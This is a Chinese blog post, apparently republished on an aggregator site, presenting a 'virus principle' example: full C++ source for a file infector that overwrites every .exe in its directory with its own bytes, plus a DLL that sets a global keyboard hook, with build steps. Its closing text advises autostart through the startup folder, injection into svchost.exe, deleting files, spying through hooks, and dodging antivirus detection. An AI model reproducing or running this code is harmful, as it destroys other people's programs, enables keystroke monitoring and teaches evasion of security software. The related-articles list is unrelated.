当前位置: 首页 > news >正文

病毒原理实例

#include <iostream>
#include <windows.h>
#include <errno.h>
using namespace std;

HMODULE g_hModule = NULL;

// 感染同目录下的exe
void Infection()
{
	// 把自己打开,准备感染
	char szFullFileName[MAX_PATH] = "";
	GetModuleFileName(NULL, szFullFileName, sizeof(szFullFileName) / sizeof(char));
	char szFileName[64] = "";
	const char *pChr = strrchr(szFullFileName, '\\');
	if (!pChr)
	{
		return ;
	}
	strcpy_s(szFileName, sizeof(szFileName), pChr + 1);
	FILE *pSelfFile = NULL;

	errno_t err = fopen_s(&pSelfFile, szFullFileName, "rb");
	if (err)
	{
		cerr << err << endl;
		return ;
	}

	fseek(pSelfFile, 0, SEEK_END);
	int nMySize = ftell(pSelfFile);
	fseek(pSelfFile, 0, SEEK_SET);

	// 把自己读入内存
	char *pszMySelf = new char[nMySize];
	if (!pszMySelf)
	{
		fclose(pSelfFile);
		return ;
	}
	memset(pszMySelf, 0, nMySize);
	fread(pszMySelf, nMySize / 10, 10, pSelfFile);

	// 取当前目录,准备搜索
	char szDir[MAX_PATH] = "";
	GetCurrentDirectory(sizeof(szDir) / sizeof(char), szDir);

	char szSearchFile[MAX_PATH] = "";
	strcpy_s(szSearchFile, sizeof(szSearchFile), szDir);
	strcat_s(szSearchFile, sizeof(szSearchFile), "\\*");

	WIN32_FIND_DATA fd;
	memset(&fd, 0, sizeof(WIN32_FIND_DATA));

	HANDLE hFile = FindFirstFile(szSearchFile, &fd);
	if (hFile == INVALID_HANDLE_VALUE)
	{
		cerr << GetLastError() << endl;
		fclose(pSelfFile);
		return ;
	}

	// 循环读取exe文件,开始感染
	while(TRUE)
	{
		if (FALSE == FindNextFile(hFile, &fd))
		{
			break;
		}

		if (strcmp(fd.cFileName, szFileName) == 0)
		{
			continue ;
		}

		if (strstr(fd.cFileName, ".exe") != NULL)
		{
			char szDstFileFullPath[MAX_PATH] = "";
			strcpy_s(szDstFileFullPath, sizeof(szDstFileFullPath), szDir);
			strcat_s(szDstFileFullPath, sizeof(szDstFileFullPath), "\\");
			strcat_s(szDstFileFullPath, sizeof(szDstFileFullPath), fd.cFileName);

			FILE *pFile = NULL;
			fopen_s(&pFile, szDstFileFullPath, "r+b");
			fseek(pFile, 0, SEEK_SET);
			fwrite(pszMySelf, nMySize / 10, 10, pFile);
			fclose(pFile);

			cout << "已感染文件:" << szDstFileFullPath << endl;
		}
		else
		{
//			remove(fd.cFileName);
		}
	}

	fclose(pSelfFile);
	delete []pszMySelf;
}

void CreateKeyboardHook()
{
	g_hModule = LoadLibrary("Hook.dll");
	if (!g_hModule)
	{
		return ;
	}

	typedef void (*HookFunc)();
	HookFunc myHookFunc = (HookFunc)GetProcAddress(g_hModule, "SetHook");
	if (!myHookFunc)
	{
		FreeLibrary(g_hModule);
		return ;
	}
	myHookFunc();
}

int main()
{
	Infection();
	CreateKeyboardHook();

	system("pause");

	typedef void (*UnHookFunc)();
	UnHookFunc unHookFunc = (UnHookFunc)GetProcAddress(g_hModule, "UnHook");
	if (!unHookFunc)
	{
		FreeLibrary(g_hModule);
		return 1;
	}
	unHookFunc();

	FreeLibrary(g_hModule);

	return 0;
}
#include <windows.h>

extern "C" _declspec(dllexport) void SetHook();
extern "C" _declspec(dllexport) void UnHook();

HHOOK g_KeyBoardHook = NULL;

LRESULT CALLBACK KeyBoardHook(int nCode, WPARAM wParam, LPARAM lParam)
{
	if (49 == wParam)
	{
		wParam = 50;
		::MessageBox(NULL, "你按了A,我帮你改成B", "关掉吧", MB_OK);
		return CallNextHookEx(g_KeyBoardHook, nCode, wParam, lParam);
	}
	else if (0 == wParam)
	{
		UnhookWindowsHookEx(g_KeyBoardHook);
	}
	return 1;
}

void SetHook()
{
	g_KeyBoardHook = SetWindowsHookEx(WH_KEYBOARD, KeyBoardHook, GetModuleHandle("Hook"), 0);
}

void UnHook()
{
	UnhookWindowsHookEx(g_KeyBoardHook);
}

以上两个程序只是为了说明病毒的原理,其实,这只算是一段恶意的代码,第一段代码是主程序,编译成exe,第二段代码是dll文件,先编译一下dll文件,把lib文件放到主程序运行目录下,把dll文件放到病毒程序运行目录下,就可以了

1、病毒若想要自动运行,很简单,只要把我们的exe放入开始菜单的启动项就可以了,每次开机都会自动运行,如果高级点的话,就注入到别的进程里去吧,如svchost.exe,具体实现,下次有时间再讲解。

2、病毒感染,这是个很简单的过程,就是打开目标文件,把病毒文件一个字节一个字节的读出来,然后写入到目标文件,这样,目标文件就拥有与病毒文件相同的功能,也就是,如果目标是*.exe文件,那么,目标文件运行后也会跟源病毒文件做相同的事

3、病毒破坏作用,这个也很简单,想破坏个东西还不容易吗,删除文件就属于破坏行为了。如果想监控客户机,就安装个钩子吧,就像上面的代码一样,安装了个键盘钩子。

4、现在的计算机都安装有杀毒软件,想要入侵怎么办?最简单的办法,就是写个简单的破坏软件(这种软件杀毒软件不会报,杀毒软件是个苦差啊,有些是不能报的),就像上面的那两段代码,去掉钩子,杀毒软件就不会报了,接下来,就是简单的破坏了,只要不是写注册表,不安装钩子,不自动运行,杀软一般都不会报,当然,这也是去了病毒程序最好玩的地方

相关文章:

  • 利用jodconverter+openoffice+flexpaper实现的在线文档系统核心demo
  • 八数码编码(优化数据结构,优化算法)
  • mac 下 git svn 设置代理
  • 实时机票/火车票抓取系统整体架构
  • 我是伪程序员
  • asp.net实验一:hello world!
  • asp.net实验二:连接sql server 2008数据库
  • ASP.NET实验三:读取web.config连接数据库
  • 谷歌面试题(持续更新)
  • web前端实验一:利用Js捕获鼠标事件实现图片切换
  • web前端实验二:利用JS保护网页源代码
  • 五年专业编程的14个经验
  • 大数四则运算
  • JDBC学习之-Connection(一)
  • Linux实验二:Linux 内核模块测试
  • 9月CHINA-PUB-OPENDAY技术沙龙——IPHONE
  • Android交互
  • - C#编程大幅提高OUTLOOK的邮件搜索能力!
  • CSS魔法堂:Absolute Positioning就这个样
  • Go 语言编译器的 //go: 详解
  • HomeBrew常规使用教程
  • java多线程
  • js ES6 求数组的交集,并集,还有差集
  • leetcode-27. Remove Element
  • spring cloud gateway 源码解析(4)跨域问题处理
  • 阿里云前端周刊 - 第 26 期
  • 闭包--闭包作用之保存(一)
  • 从 Android Sample ApiDemos 中学习 android.animation API 的用法
  • 关于 Linux 进程的 UID、EUID、GID 和 EGID
  • 浏览器缓存机制分析
  • 漫谈开发设计中的一些“原则”及“设计哲学”
  • 如何选择开源的机器学习框架?
  • 入门到放弃node系列之Hello Word篇
  • 使用docker-compose进行多节点部署
  • 运行时添加log4j2的appender
  • python最赚钱的4个方向,你最心动的是哪个?
  • ​flutter 代码混淆
  • $Django python中使用redis, django中使用(封装了),redis开启事务(管道)
  • (+4)2.2UML建模图
  • (1)(1.13) SiK无线电高级配置(六)
  • (4) openssl rsa/pkey(查看私钥、从私钥中提取公钥、查看公钥)
  • (4)事件处理——(6)给.ready()回调函数传递一个参数(Passing an argument to the .ready() callback)...
  • (9)STL算法之逆转旋转
  • (C#)Windows Shell 外壳编程系列9 - QueryInfo 扩展提示
  • (八)光盘的挂载与解挂、挂载CentOS镜像、rpm安装软件详细学习笔记
  • (第61天)多租户架构(CDB/PDB)
  • (二十三)Flask之高频面试点
  • (分布式缓存)Redis分片集群
  • (六) ES6 新特性 —— 迭代器(iterator)
  • (每日持续更新)信息系统项目管理(第四版)(高级项目管理)考试重点整理 第13章 项目资源管理(七)
  • (十八)SpringBoot之发送QQ邮件
  • (转)AS3正则:元子符,元序列,标志,数量表达符
  • (转)关于多人操作数据的处理策略
  • ***原理与防范
  • .net遍历html中全部的中文,ASP.NET中遍历页面的所有button控件